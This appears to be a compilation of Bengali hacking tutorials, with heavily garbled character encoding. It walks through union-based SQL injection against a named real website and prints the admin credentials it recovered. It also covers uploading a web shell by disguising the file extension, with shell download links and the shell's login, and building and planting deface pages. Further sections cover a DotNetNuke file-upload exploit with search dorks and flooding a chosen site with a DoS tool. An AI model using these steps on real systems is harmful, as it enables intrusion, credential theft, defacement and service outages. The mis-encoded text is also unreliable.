এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 33: Hacking Bangla eBook

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

